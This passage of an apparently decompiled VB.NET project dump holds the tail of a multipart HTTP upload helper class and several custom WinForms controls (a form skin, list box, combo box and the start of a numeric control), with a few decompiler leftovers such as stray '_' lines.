Me.BufferSize)) > 0) 111 | io.Write(array, 0, num) 112 | Loop 113 | stream.Close 114 | End Sub 115 | 116 | Public Sub writeString(ByVal io As Stream, ByVal str As String) 117 | Dim bytes As Byte() = Encoding.ASCII.GetBytes(str) 118 | io.Write(bytes, 0, bytes.Length) 119 | End Sub 120 | 121 | 122 | ' Properties 123 | Public Property BeginBoundary As String 124 | Get 125 | Return Me._BeginBoundary 126 | End Get 127 | Set(ByVal value As String) 128 | Me._BeginBoundary = value 129 | Me.ContentBoundary = ("--" & Me.BeginBoundary) 130 | Me.EndingBoundary = (Me.ContentBoundary & "--") 131 | End Set 132 | End Property 133 | 134 | Public Property BufferSize As Integer 135 | Get 136 | Return Me._BufferSize 137 | End Get 138 | Set(ByVal value As Integer) 139 | Me._BufferSize = value 140 | End Set 141 | End Property 142 | 143 | Protected Property ContentBoundary As String 144 | Get 145 | Return Me._ContentBoundary 146 | End Get 147 | Set(ByVal value As String) 148 | Me._ContentBoundary = value 149 | End Set 150 | End Property 151 | 152 | Protected Property EndingBoundary As String 153 | Get 154 | Return Me._EndingBoundary 155 | End Get 156 | Set(ByVal value As String) 157 | Me._EndingBoundary = value 158 | End Set 159 | End Property 160 | 161 | Public Property FileContentType As String 162 | Get 163 | Return Me.coFileContentType 164 | End Get 165 | Set(ByVal value As String) 166 | Me.coFileContentType = value 167 | End Set 168 | End Property 169 | 170 | Public Property ResponseText As StringBuilder 171 | Get 172 | Return Me._ResponseText 173 | End Get 174 | Set(ByVal value As StringBuilder) 175 | Me._ResponseText = value 176 | End Set 177 | End Property 178 | 179 | Public Property TransferHttpVersion As Version 180 | Get 181 | Return Me.coHttpVersion 182 | End Get 183 | Set(ByVal value As Version) 184 | Me.coHttpVersion = value 185 | End Set 186 | End Property 187 | 188 | Public Property URL As String 189 | Get 190 | Return Me._URL 191 | End Get 192 | Set(ByVal value As String) 193 | Me._URL = value 194 | End Set 195 | End Property 196 | 197 | 198 | ' Fields 199 | Private _BeginBoundary As String 200 | Private _BufferSize As Integer 201 | Private _ContentBoundary As String 202 | Private _EndingBoundary As String 203 | Private _ResponseText As StringBuilder 204 | Private _URL As String 205 | Private coFileContentType As String 206 | Private coFileStream As Stream 207 | Private coFormFields As Hashtable 208 | Private coHttpVersion As Version 209 | Private Shared CONTENT_DISP As String = "Content-Disposition: form-data; name=" 210 | Protected coRequest As HttpWebRequest 211 | End Class 212 | End Namespace 213 | 214 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/FormSkin.vb: -------------------------------------------------------------------------------- 1 | Imports Microsoft.VisualBasic.CompilerServices 2 | Imports System 3 | Imports System.Collections.Generic 4 | Imports System.ComponentModel 5 | Imports System.Diagnostics 6 | Imports System.Drawing 7 | Imports System.Drawing.Drawing2D 8 | Imports System.Drawing.Text 9 | Imports System.Runtime.CompilerServices 10 | Imports System.Windows.Forms 11 | 12 | Namespace Xanity_2._0 13 | Friend Class FormSkin 14 | Inherits ContainerControl 15 | ' Methods 16 | Public Sub New() 17 | AddHandler MyBase.MouseDoubleClick, New MouseEventHandler(AddressOf Me.FormSkin_MouseDoubleClick) 18 | FormSkin.__ENCAddToList(Me) 19 | Me.Cap = False 20 | Me._HeaderMaximize = False 21 | Me.MousePoint = New Point(0, 0) 22 | Me.MoveHeight = 50 23 | Me._HeaderColor = Color.FromArgb(&H2D, &H2F, &H31) 24 | Me._BaseColor = Color.FromArgb(60, 70, &H49) 25 | Me._BorderColor = Color.FromArgb(&H35, &H3A, 60) 26 | Me.TextColor = Color.FromArgb(&HEA, &HEA, &HEA) 27 | Me._HeaderLight = Color.FromArgb(&HAB, &HAB, &HAC) 28 | Me._BaseLight = Color.FromArgb(&HC4, &HC7, 200) 29 | Me.TextLight = Color.FromArgb(&H2D, &H2F, &H31) 30 | Me.SetStyle((ControlStyles.OptimizedDoubleBuffer Or (ControlStyles.AllPaintingInWmPaint Or (ControlStyles.ResizeRedraw Or ControlStyles.UserPaint))), True) 31 | Me.DoubleBuffered = True 32 | Me.BackColor = Color.White 33 | Me.Font = New Font("Segoe UI", 12!) 34 | End Sub 35 | 36 | _ 37 | Private Shared Sub __ENCAddToList(ByVal value As Object) 38 | Dim list As List(Of WeakReference) = FormSkin.__ENCList 39 | SyncLock list 40 | If (FormSkin.__ENCList.Count = FormSkin.__ENCList.Capacity) Then 41 | Dim index As Integer = 0 42 | Dim num3 As Integer = (FormSkin.__ENCList.Count - 1) 43 | Dim i As Integer = 0 44 | Do While (i <= num3) 45 | Dim reference As WeakReference = FormSkin.__ENCList.Item(i) 46 | If reference.IsAlive Then 47 | If (i <> index) Then 48 | FormSkin.__ENCList.Item(index) = FormSkin.__ENCList.Item(i) 49 | End If 50 | index += 1 51 | End If 52 | i += 1 53 | Loop 54 | FormSkin.__ENCList.RemoveRange(index, (FormSkin.__ENCList.Count - index)) 55 | FormSkin.__ENCList.Capacity = FormSkin.__ENCList.Count 56 | End If 57 | FormSkin.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value))) 58 | End SyncLock 59 | End Sub 60 | 61 | Private Sub FormSkin_MouseDoubleClick(ByVal sender As Object, ByVal e As MouseEventArgs) 62 | If Me.HeaderMaximize Then 63 | Dim rectangle2 As New Rectangle(0, 0, Me.Width, Conversions.ToInteger(Me.MoveHeight)) 64 | If ((e.Button = MouseButtons.Left) And rectangle2.Contains(e.Location)) Then 65 | If (Me.FindForm.WindowState = FormWindowState.Normal) Then 66 | Me.FindForm.WindowState = FormWindowState.Maximized 67 | Me.FindForm.Refresh 68 | ElseIf (Me.FindForm.WindowState = FormWindowState.Maximized) Then 69 | Me.FindForm.WindowState = FormWindowState.Normal 70 | Me.FindForm.Refresh 71 | End If 72 | End If 73 | End If 74 | End Sub 75 | 76 | Protected Overrides Sub OnCreateControl() 77 | MyBase.OnCreateControl 78 | Me.ParentForm.FormBorderStyle = FormBorderStyle.None 79 | Me.ParentForm.AllowTransparency = False 80 | Me.ParentForm.TransparencyKey = Color.Fuchsia 81 | Me.ParentForm.FindForm.StartPosition = FormStartPosition.CenterScreen 82 | Me.Dock = DockStyle.Fill 83 | Me.Invalidate 84 | End Sub 85 | 86 | Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) 87 | MyBase.OnMouseDown(e) 88 | Dim rectangle2 As New Rectangle(0, 0, Me.Width, Conversions.ToInteger(Me.MoveHeight)) 89 | If ((e.Button = MouseButtons.Left) And rectangle2.Contains(e.Location)) Then 90 | Me.Cap = True 91 | Me.MousePoint = e.Location 92 | End If 93 | End Sub 94 | 95 | Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) 96 | MyBase.OnMouseMove(e) 97 | If Me.Cap Then 98 | Me.Parent.Location = (Control.MousePosition - DirectCast(Me.MousePoint, Size)) 99 | End If 100 | End Sub 101 | 102 | Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) 103 | MyBase.OnMouseUp(e) 104 | Me.Cap = False 105 | End Sub 106 | 107 | Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) 108 | Helpers.B = New Bitmap(Me.Width, Me.Height) 109 | Helpers.G = Graphics.FromImage(Helpers.B) 110 | Me.W = Me.Width 111 | Me.H = Me.Height 112 | Dim rect As New Rectangle(0, 0, Me.W, Me.H) 113 | Dim rectangle2 As New Rectangle(0, 0, Me.W, 50) 114 | Dim g As Graphics = Helpers.G 115 | g.SmoothingMode = SmoothingMode.HighQuality 116 | g.PixelOffsetMode = PixelOffsetMode.HighQuality 117 | g.TextRenderingHint = TextRenderingHint.ClearTypeGridFit 118 | g.Clear(Me.BackColor) 119 | g.FillRectangle(New SolidBrush(Me._BaseColor), rect) 120 | g.FillRectangle(New SolidBrush(Me._HeaderColor), rectangle2) 121 | Dim rectangle3 As New Rectangle(8, &H10, 4, &H12) 122 | g.FillRectangle(New SolidBrush(Color.FromArgb(&HF3, &HF3, &HF3)), rectangle3) 123 | g.FillRectangle(New SolidBrush(Helpers._FlatColor), &H10, &H10, 4, &H12) 124 | rectangle3 = New Rectangle(&H1A, 15, Me.W, Me.H) 125 | g.DrawString(Me.Text, Me.Font, New SolidBrush(Me.TextColor), rectangle3, Helpers.NearSF) 126 | g.DrawRectangle(New Pen(Me._BorderColor), rect) 127 | g = Nothing 128 | MyBase.OnPaint(e) 129 | Helpers.G.Dispose 130 | e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic 131 | e.Graphics.DrawImageUnscaled(Helpers.B, 0, 0) 132 | Helpers.B.Dispose 133 | End Sub 134 | 135 | 136 | ' Properties 137 | _ 138 | Public Property BaseColor As Color 139 | Get 140 | Return Me._BaseColor 141 | End Get 142 | Set(ByVal value As Color) 143 | Me._BaseColor = value 144 | End Set 145 | End Property 146 | 147 | _ 148 | Public Property BorderColor As Color 149 | Get 150 | Return Me._BorderColor 151 | End Get 152 | Set(ByVal value As Color) 153 | Me._BorderColor = value 154 | End Set 155 | End Property 156 | 157 | _ 158 | Public Property FlatColor As Color 159 | Get 160 | Return Helpers._FlatColor 161 | End Get 162 | Set(ByVal value As Color) 163 | Helpers._FlatColor = value 164 | End Set 165 | End Property 166 | 167 | _ 168 | Public Property HeaderColor As Color 169 | Get 170 | Return Me._HeaderColor 171 | End Get 172 | Set(ByVal value As Color) 173 | Me._HeaderColor = value 174 | End Set 175 | End Property 176 | 177 | _ 178 | Public Property HeaderMaximize As Boolean 179 | Get 180 | Return Me._HeaderMaximize 181 | End Get 182 | Set(ByVal value As Boolean) 183 | Me._HeaderMaximize = value 184 | End Set 185 | End Property 186 | 187 | 188 | ' Fields 189 | Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference) 190 | Private _BaseColor As Color 191 | Private _BaseLight As Color 192 | Private _BorderColor As Color 193 | Private _HeaderColor As Color 194 | Private _HeaderLight As Color 195 | Private _HeaderMaximize As Boolean 196 | Private Cap As Boolean 197 | Private H As Integer 198 | Private MousePoint As Point 199 | Private MoveHeight As Object 200 | Private TextColor As Color 201 | Public TextLight As Color 202 | Private W As Integer 203 | End Class 204 | End Namespace 205 | 206 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/FlatListBox.vb: -------------------------------------------------------------------------------- 1 | Imports Microsoft.VisualBasic 2 | Imports Microsoft.VisualBasic.CompilerServices 3 | Imports System 4 | Imports System.Collections.Generic 5 | Imports System.ComponentModel 6 | Imports System.Diagnostics 7 | Imports System.Drawing 8 | Imports System.Drawing.Drawing2D 9 | Imports System.Drawing.Text 10 | Imports System.Runtime.CompilerServices 11 | Imports System.Windows.Forms 12 | 13 | Namespace Xanity_2._0 14 | Friend Class FlatListBox 15 | Inherits Control 16 | ' Methods 17 | Public Sub New() 18 | FlatListBox.__ENCAddToList(Me) 19 | Me.ListBx = New ListBox 20 | Me._items = New String() { "" } 21 | Me.BaseColor = Color.FromArgb(&H2D, &H2F, &H31) 22 | Me._SelectedColor = Helpers._FlatColor 23 | Me.SetStyle((ControlStyles.OptimizedDoubleBuffer Or (ControlStyles.AllPaintingInWmPaint Or (ControlStyles.ResizeRedraw Or ControlStyles.UserPaint))), True) 24 | Me.DoubleBuffered = True 25 | Me.ListBx.DrawMode = DrawMode.OwnerDrawFixed 26 | Me.ListBx.ScrollAlwaysVisible = False 27 | Me.ListBx.HorizontalScrollbar = False 28 | Me.ListBx.BorderStyle = BorderStyle.None 29 | Me.ListBx.BackColor = Me.BaseColor 30 | Me.ListBx.ForeColor = Color.White 31 | Dim point2 As New Point(3, 3) 32 | Me.ListBx.Location = point2 33 | Me.ListBx.Font = New Font("Segoe UI", 8!) 34 | Me.ListBx.ItemHeight = 20 35 | Me.ListBx.Items.Clear 36 | Me.ListBx.IntegralHeight = False 37 | Dim size2 As New Size(&H83, &H65) 38 | Me.Size = size2 39 | Me.BackColor = Me.BaseColor 40 | End Sub 41 | 42 | _ 43 | Private Shared Sub __ENCAddToList(ByVal value As Object) 44 | Dim list As List(Of WeakReference) = FlatListBox.__ENCList 45 | SyncLock list 46 | If (FlatListBox.__ENCList.Count = FlatListBox.__ENCList.Capacity) Then 47 | Dim index As Integer = 0 48 | Dim num3 As Integer = (FlatListBox.__ENCList.Count - 1) 49 | Dim i As Integer = 0 50 | Do While (i <= num3) 51 | Dim reference As WeakReference = FlatListBox.__ENCList.Item(i) 52 | If reference.IsAlive Then 53 | If (i <> index) Then 54 | FlatListBox.__ENCList.Item(index) = FlatListBox.__ENCList.Item(i) 55 | End If 56 | index += 1 57 | End If 58 | i += 1 59 | Loop 60 | FlatListBox.__ENCList.RemoveRange(index, (FlatListBox.__ENCList.Count - index)) 61 | FlatListBox.__ENCList.Capacity = FlatListBox.__ENCList.Count 62 | End If 63 | FlatListBox.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value))) 64 | End SyncLock 65 | End Sub 66 | 67 | Public Sub AddItem(ByVal item As Object) 68 | Me.ListBx.Items.Remove("") 69 | Me.ListBx.Items.Add(RuntimeHelpers.GetObjectValue(item)) 70 | End Sub 71 | 72 | Public Sub AddRange(ByVal items As Object()) 73 | Me.ListBx.Items.Remove("") 74 | Me.ListBx.Items.AddRange(items) 75 | End Sub 76 | 77 | Public Sub Clear() 78 | Me.ListBx.Items.Clear 79 | End Sub 80 | 81 | Public Sub ClearSelected() 82 | Dim i As Integer = (Me.ListBx.SelectedItems.Count - 1) 83 | Do While (i >= 0) 84 | Me.ListBx.Items.Remove(RuntimeHelpers.GetObjectValue(Me.ListBx.SelectedItems.Item(i))) 85 | i = (i + -1) 86 | Loop 87 | End Sub 88 | 89 | Public Sub Drawitem(ByVal sender As Object, ByVal e As DrawItemEventArgs) 90 | If (e.Index >= 0) Then 91 | e.DrawBackground 92 | e.DrawFocusRectangle 93 | e.Graphics.SmoothingMode = SmoothingMode.HighQuality 94 | e.Graphics.PixelOffsetMode = PixelOffsetMode.HighQuality 95 | e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic 96 | e.Graphics.TextRenderingHint = TextRenderingHint.ClearTypeGridFit 97 | If (Strings.InStr(e.State.ToString, "Selected,", CompareMethod.Binary) > 0) Then 98 | Dim rect As New Rectangle(e.Bounds.X, e.Bounds.Y, e.Bounds.Width, e.Bounds.Height) 99 | e.Graphics.FillRectangle(New SolidBrush(Me._SelectedColor), rect) 100 | e.Graphics.DrawString((" " & Me.ListBx.Items.Item(e.Index).ToString), New Font("Segoe UI", 8!), Brushes.White, CSng(e.Bounds.X), CSng((e.Bounds.Y + 2))) 101 | Else 102 | Dim rectangle As New Rectangle(e.Bounds.X, e.Bounds.Y, e.Bounds.Width, e.Bounds.Height) 103 | e.Graphics.FillRectangle(New SolidBrush(Color.FromArgb(&H33, &H35, &H37)), rectangle) 104 | e.Graphics.DrawString((" " & Me.ListBx.Items.Item(e.Index).ToString), New Font("Segoe UI", 8!), Brushes.White, CSng(e.Bounds.X), CSng((e.Bounds.Y + 2))) 105 | End If 106 | e.Graphics.Dispose 107 | End If 108 | End Sub 109 | 110 | Protected Overrides Sub OnCreateControl() 111 | MyBase.OnCreateControl 112 | If Not Me.Controls.Contains(Me.ListBx) Then 113 | Me.Controls.Add(Me.ListBx) 114 | End If 115 | End Sub 116 | 117 | Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) 118 | Helpers.B = New Bitmap(Me.Width, Me.Height) 119 | Helpers.G = Graphics.FromImage(Helpers.B) 120 | Dim rect As New Rectangle(0, 0, Me.Width, Me.Height) 121 | Dim g As Graphics = Helpers.G 122 | g.SmoothingMode = SmoothingMode.HighQuality 123 | g.PixelOffsetMode = PixelOffsetMode.HighQuality 124 | g.TextRenderingHint = TextRenderingHint.ClearTypeGridFit 125 | g.Clear(Me.BackColor) 126 | Dim size2 As New Size((Me.Width - 6), (Me.Height - 2)) 127 | Me.ListBx.Size = size2 128 | g.FillRectangle(New SolidBrush(Me.BaseColor), rect) 129 | g = Nothing 130 | MyBase.OnPaint(e) 131 | Helpers.G.Dispose 132 | e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic 133 | e.Graphics.DrawImageUnscaled(Helpers.B, 0, 0) 134 | Helpers.B.Dispose 135 | End Sub 136 | 137 | 138 | ' Properties 139 | _ 140 | Public Property items As String() 141 | Get 142 | Return Me._items 143 | End Get 144 | Set(ByVal value As String()) 145 | Me._items = value 146 | Me.ListBx.Items.Clear 147 | Me.ListBx.Items.AddRange(value) 148 | Me.Invalidate 149 | End Set 150 | End Property 151 | 152 | Private Overridable Property ListBx As ListBox 153 | _ 154 | Get 155 | Return Me._ListBx 156 | End Get 157 | _ 158 | Set(ByVal value As ListBox) 159 | Dim handler As DrawItemEventHandler = New DrawItemEventHandler(AddressOf Me.Drawitem) 160 | If (Not Me._ListBx Is Nothing) Then 161 | RemoveHandler Me._ListBx.DrawItem, handler 162 | End If 163 | Me._ListBx = value 164 | If (Not Me._ListBx Is Nothing) Then 165 | AddHandler Me._ListBx.DrawItem, handler 166 | End If 167 | End Set 168 | End Property 169 | 170 | _ 171 | Public Property SelectedColor As Color 172 | Get 173 | Return Me._SelectedColor 174 | End Get 175 | Set(ByVal value As Color) 176 | Me._SelectedColor = value 177 | End Set 178 | End Property 179 | 180 | Public ReadOnly Property SelectedIndex As Integer 181 | Get 182 | Return Me.ListBx.SelectedIndex 183 | End Get 184 | End Property 185 | 186 | Public ReadOnly Property SelectedItem As String 187 | Get 188 | Return Conversions.ToString(Me.ListBx.SelectedItem) 189 | End Get 190 | End Property 191 | 192 | 193 | ' Fields 194 | Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference) 195 | Private _items As String() 196 | _ 197 | Private _ListBx As ListBox 198 | Private _SelectedColor As Color 199 | Private BaseColor As Color 200 | End Class 201 | End Namespace 202 | 203 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/FlatComboBox.vb: -------------------------------------------------------------------------------- 1 | Imports Microsoft.VisualBasic.CompilerServices 2 | Imports System 3 | Imports System.Collections.Generic 4 | Imports System.ComponentModel 5 | Imports System.Diagnostics 6 | Imports System.Drawing 7 | Imports System.Drawing.Drawing2D 8 | Imports System.Drawing.Text 9 | Imports System.Runtime.CompilerServices 10 | Imports System.Windows.Forms 11 | 12 | Namespace Xanity_2._0 13 | Friend Class FlatComboBox 14 | Inherits ComboBox 15 | ' Methods 16 | Public Sub New() 17 | AddHandler MyBase.DrawItem, New DrawItemEventHandler(AddressOf Me.DrawItem_) 18 | FlatComboBox.__ENCAddToList(Me) 19 | Me._StartIndex = 0 20 | Me.State = MouseState.None 21 | Me._BaseColor = Color.FromArgb(&H19, &H1B, &H1D) 22 | Me._BGColor = Color.FromArgb(&H2D, &H2F, &H31) 23 | Me._HoverColor = Color.FromArgb(&H23, &HA8, &H6D) 24 | Me.SetStyle((ControlStyles.OptimizedDoubleBuffer Or (ControlStyles.AllPaintingInWmPaint Or (ControlStyles.ResizeRedraw Or ControlStyles.UserPaint))), True) 25 | Me.DoubleBuffered = True 26 | Me.DrawMode = DrawMode.OwnerDrawFixed 27 | Me.BackColor = Color.FromArgb(&H2D, &H2D, &H30) 28 | Me.ForeColor = Color.White 29 | Me.DropDownStyle = ComboBoxStyle.DropDownList 30 | Me.Cursor = Cursors.Hand 31 | Me.StartIndex = 0 32 | Me.ItemHeight = &H12 33 | Me.Font = New Font("Segoe UI", 8!, FontStyle.Regular) 34 | End Sub 35 | 36 | _ 37 | Private Shared Sub __ENCAddToList(ByVal value As Object) 38 | Dim list As List(Of WeakReference) = FlatComboBox.__ENCList 39 | SyncLock list 40 | If (FlatComboBox.__ENCList.Count = FlatComboBox.__ENCList.Capacity) Then 41 | Dim index As Integer = 0 42 | Dim num3 As Integer = (FlatComboBox.__ENCList.Count - 1) 43 | Dim i As Integer = 0 44 | Do While (i <= num3) 45 | Dim reference As WeakReference = FlatComboBox.__ENCList.Item(i) 46 | If reference.IsAlive Then 47 | If (i <> index) Then 48 | FlatComboBox.__ENCList.Item(index) = FlatComboBox.__ENCList.Item(i) 49 | End If 50 | index += 1 51 | End If 52 | i += 1 53 | Loop 54 | FlatComboBox.__ENCList.RemoveRange(index, (FlatComboBox.__ENCList.Count - index)) 55 | FlatComboBox.__ENCList.Capacity = FlatComboBox.__ENCList.Count 56 | End If 57 | FlatComboBox.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value))) 58 | End SyncLock 59 | End Sub 60 | 61 | Public Sub DrawItem_(ByVal sender As Object, ByVal e As DrawItemEventArgs) 62 | If (e.Index >= 0) Then 63 | e.DrawBackground 64 | e.DrawFocusRectangle 65 | e.Graphics.SmoothingMode = SmoothingMode.HighQuality 66 | e.Graphics.PixelOffsetMode = PixelOffsetMode.HighQuality 67 | e.Graphics.TextRenderingHint = TextRenderingHint.ClearTypeGridFit 68 | e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic 69 | If ((e.State And DrawItemState.Selected) = DrawItemState.Selected) Then 70 | e.Graphics.FillRectangle(New SolidBrush(Me._HoverColor), e.Bounds) 71 | Else 72 | e.Graphics.FillRectangle(New SolidBrush(Me._BaseColor), e.Bounds) 73 | End If 74 | Dim layoutRectangle As New Rectangle((e.Bounds.X + 2), (e.Bounds.Y + 2), e.Bounds.Width, e.Bounds.Height) 75 | e.Graphics.DrawString(MyBase.GetItemText(RuntimeHelpers.GetObjectValue(MyBase.Items.Item(e.Index))), New Font("Segoe UI", 8!), Brushes.White, layoutRectangle) 76 | e.Graphics.Dispose 77 | End If 78 | End Sub 79 | 80 | Protected Overrides Sub OnClick(ByVal e As EventArgs) 81 | MyBase.OnClick(e) 82 | Me.Invalidate 83 | End Sub 84 | 85 | Protected Overrides Sub OnDrawItem(ByVal e As DrawItemEventArgs) 86 | MyBase.OnDrawItem(e) 87 | Me.Invalidate 88 | If ((e.State And DrawItemState.Selected) = DrawItemState.Selected) Then 89 | Me.Invalidate 90 | End If 91 | End Sub 92 | 93 | Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) 94 | MyBase.OnMouseDown(e) 95 | Me.State = MouseState.Down 96 | Me.Invalidate 97 | End Sub 98 | 99 | Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) 100 | MyBase.OnMouseEnter(e) 101 | Me.State = MouseState.Over 102 | Me.Invalidate 103 | End Sub 104 | 105 | Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) 106 | MyBase.OnMouseLeave(e) 107 | Me.State = MouseState.None 108 | Me.Invalidate 109 | End Sub 110 | 111 | Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) 112 | MyBase.OnMouseMove(e) 113 | Me.x = e.Location.X 114 | Me.y = e.Location.Y 115 | Me.Invalidate 116 | If (e.X < (Me.Width - &H29)) Then 117 | Me.Cursor = Cursors.IBeam 118 | Else 119 | Me.Cursor = Cursors.Hand 120 | End If 121 | End Sub 122 | 123 | Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) 124 | MyBase.OnMouseUp(e) 125 | Me.State = MouseState.Over 126 | Me.Invalidate 127 | End Sub 128 | 129 | Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) 130 | Helpers.B = New Bitmap(Me.Width, Me.Height) 131 | Helpers.G = Graphics.FromImage(Helpers.B) 132 | Me.W = Me.Width 133 | Me.H = Me.Height 134 | Dim rect As New Rectangle(0, 0, Me.W, Me.H) 135 | Dim rectangle2 As New Rectangle((Me.W - 40), 0, Me.W, Me.H) 136 | Dim path As New GraphicsPath 137 | New GraphicsPath 138 | Dim g As Graphics = Helpers.G 139 | g.Clear(Color.FromArgb(&H2D, &H2D, &H30)) 140 | g.SmoothingMode = SmoothingMode.HighQuality 141 | g.PixelOffsetMode = PixelOffsetMode.HighQuality 142 | g.TextRenderingHint = TextRenderingHint.ClearTypeGridFit 143 | g.FillRectangle(New SolidBrush(Me._BGColor), rect) 144 | path.Reset 145 | path.AddRectangle(rectangle2) 146 | g.SetClip(path) 147 | g.FillRectangle(New SolidBrush(Me._BaseColor), rectangle2) 148 | g.ResetClip 149 | g.DrawLine(Pens.White, (Me.W - 10), 6, (Me.W - 30), 6) 150 | g.DrawLine(Pens.White, (Me.W - 10), 12, (Me.W - 30), 12) 151 | g.DrawLine(Pens.White, (Me.W - 10), &H12, (Me.W - 30), &H12) 152 | Dim point As New Point(4, 6) 153 | g.DrawString(Me.Text, Me.Font, Brushes.White, DirectCast(point, PointF), Helpers.NearSF) 154 | g = Nothing 155 | Helpers.G.Dispose 156 | e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic 157 | e.Graphics.DrawImageUnscaled(Helpers.B, 0, 0) 158 | Helpers.B.Dispose 159 | End Sub 160 | 161 | Protected Overrides Sub OnResize(ByVal e As EventArgs) 162 | MyBase.OnResize(e) 163 | Me.Height = &H12 164 | End Sub 165 | 166 | 167 | ' Properties 168 | _ 169 | Public Property HoverColor As Color 170 | Get 171 | Return Me._HoverColor 172 | End Get 173 | Set(ByVal value As Color) 174 | Me._HoverColor = value 175 | End Set 176 | End Property 177 | 178 | Private Property StartIndex As Integer 179 | Get 180 | Return Me._StartIndex 181 | End Get 182 | Set(ByVal value As Integer) 183 | Me._StartIndex = value 184 | Try 185 | MyBase.SelectedIndex = value 186 | Catch exception1 As Exception 187 | ProjectData.SetProjectError(exception1) 188 | ProjectData.ClearProjectError 189 | End Try 190 | Me.Invalidate 191 | End Set 192 | End Property 193 | 194 | 195 | ' Fields 196 | Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference) 197 | Private _BaseColor As Color 198 | Private _BGColor As Color 199 | Private _HoverColor As Color 200 | Private _StartIndex As Integer 201 | Private H As Integer 202 | Private State As MouseState 203 | Private W As Integer 204 | Private x As Integer 205 | Private y As Integer 206 | End Class 207 | End Namespace 208 | 209 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/FlatNumeric.vb: -------------------------------------------------------------------------------- 1 | Imports Microsoft.VisualBasic.CompilerServices 2 | Imports System 3 | Imports System.Collections.Generic 4 | Imports System.ComponentModel 5 | Imports System.Diagnostics 6 | Imports System.Drawing 7 | Imports System.Drawing.Drawing2D 8 | Imports System.Drawing.Text 9 | Imports System.Runtime.CompilerServices 10 | Imports System.Windows.Forms 11 | 12 | Namespace Xanity_2._0 13 | Friend Class FlatNumeric 14 | Inherits Control 15 | ' Methods 16 | Public Sub New() 17 | FlatNumeric.__ENCAddToList(Me) 18 | Me.State = MouseState.None 19 | Me._BaseColor = Color.FromArgb(&H2D, &H2F, &H31) 20 | Me._ButtonColor = Helpers._FlatColor 21 | Me.SetStyle((ControlStyles.OptimizedDoubleBuffer Or (ControlStyles.AllPaintingInWmPaint Or (ControlStyles.SupportsTransparentBackColor Or (ControlStyles.ResizeRedraw Or ControlStyles.UserPaint)))), True) 22 | Me.DoubleBuffered = True 23 | Me.Font = New Font("Segoe UI", 10!) 24 | Me.BackColor = Color.FromArgb(60, 70, &H49) 25 | Me.ForeColor = Color.White 26 | Me._Min = 0 27 | Me._Max = &H98967F 28 | End Sub 29 | 30 | _ 31 | Private Shared Sub __ENCAddToList(ByVal value As Object) 32 | Dim list As List(Of WeakReference) = FlatNumeric.__ENCList 33 | SyncLock list 34 | If (FlatNumeric.__ENCList.Count = FlatNumeric.__ENCList.Capacity) Then 35 | Dim index As Integer = 0 36 | Dim num3 As Integer = (FlatNumeric.__ENCList.Count - 1) 37 | Dim i As Integer = 0 38 | Do While (i <= num3) 39 | Dim reference As WeakReference = FlatNumeric.__ENCList.Item(i) 40 | If reference.IsAlive Then 41 | If (i <> index) Then 42 | FlatNumeric.__ENCList.Item(index) = FlatNumeric.__ENCList.Item(i) 43 | End If 44 | index += 1 45 | End If 46 | i += 1 47 | Loop 48 | FlatNumeric.__ENCList.RemoveRange(index, (FlatNumeric.__ENCList.Count - index)) 49 | FlatNumeric.__ENCList.Capacity = FlatNumeric.__ENCList.Count 50 | End If 51 | FlatNumeric.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value))) 52 | End SyncLock 53 | End Sub 54 | 55 | Protected Overrides Sub OnKeyDown(ByVal e As KeyEventArgs) 56 | MyBase.OnKeyDown(e) 57 | If (e.KeyCode = Keys.Back) Then 58 | Me.Value = 0 59 | End If 60 | End Sub 61 | 62 | Protected Overrides Sub OnKeyPress(ByVal e As KeyPressEventArgs) 63 | MyBase.OnKeyPress(e) 64 | Try 65 | If Me.Bool Then 66 | Me._Value = Conversions.ToLong((Conversions.ToString(Me._Value) & e.KeyChar.ToString)) 67 | End If 68 | If (Me._Value > Me._Max) Then 69 | Me._Value = Me._Max 70 | End If 71 | Me.Invalidate 72 | Catch exception1 As Exception 73 | ProjectData.SetProjectError(exception1) 74 | ProjectData.ClearProjectError 75 | End Try 76 | End Sub 77 | 78 | Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) 79 | MyBase.OnMouseDown(e) 80 | If (If(((Me.x <= (Me.Width - &H15)) OrElse (Me.x >= (Me.Width - 3))), 0, 1) <> 0) Then 81 | If (Me.y < 15) Then 82 | If ((Me.Value + 1) <= Me._Max) Then 83 | Me._Value = (Me._Value + 1) 84 | End If 85 | ElseIf ((Me.Value - 1) >= Me._Min) Then 86 | Me._Value = (Me._Value - 1) 87 | End If 88 | Else 89 | Me.Bool = Not Me.Bool 90 | Me.Focus 91 | End If 92 | Me.Invalidate 93 | End Sub 94 | 95 | Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) 96 | MyBase.OnMouseMove(e) 97 | Me.x = e.Location.X 98 | Me.y = e.Location.Y 99 | Me.Invalidate 100 | If (e.X < (Me.Width - &H17)) Then 101 | Me.Cursor = Cursors.IBeam 102 | Else 103 | Me.Cursor = Cursors.Hand 104 | End If 105 | End Sub 106 | 107 | Protected Overrides Sub 